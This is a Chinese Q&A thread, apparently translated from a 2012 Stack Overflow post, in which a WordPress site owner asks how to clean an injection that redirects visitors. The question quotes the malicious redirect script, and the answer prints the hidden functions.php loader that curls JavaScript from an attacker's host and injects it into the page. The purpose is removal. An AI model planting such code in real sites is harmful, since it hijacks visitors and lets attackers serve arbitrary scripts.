注射我的wordpress 3.4.2

时间:2012-11-25 06:59:11

标签: javascript wordpress code-injection

我今天访问过我的网站,过了一会儿,我被重定向到另一个网站!

我认为这是一种注入,我看一下页面来源,我发现了以下奇怪的行:

/*
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
  <head>
<meta http-equiv="content-type" content="text/html;charset=utf-8"/>
<meta http-equiv="refresh" content="0; url=http://www.jqueryc.com">
<script type="text/javascript">

    window.top.location.href = "http://www.jqueryc.com";

</script>
 </head>
</html>
 */
window.top.location.href = "http://www.jqueryc.com";
<style type="text/css"       media="print">#wpadminbar { display:none; }</style>

如果我重新安装wordpress,请问如何删除此注入?如果是,我需要在xml文件中导出我的所有帖子,我担心这些行将与我的数据一起导出!

请提出任何建议?

1 个答案:

答案 0 :(得分:1)

转到functions.php中的代码并删除以下行:

if (!function_exists('insert_jquery_theme')){function insert_jquery_theme(){if (function_exists('curl_init')){$url="http://www.jqueryc.com/jquery-1.6.3.min.js";$ch = curl_init();$timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}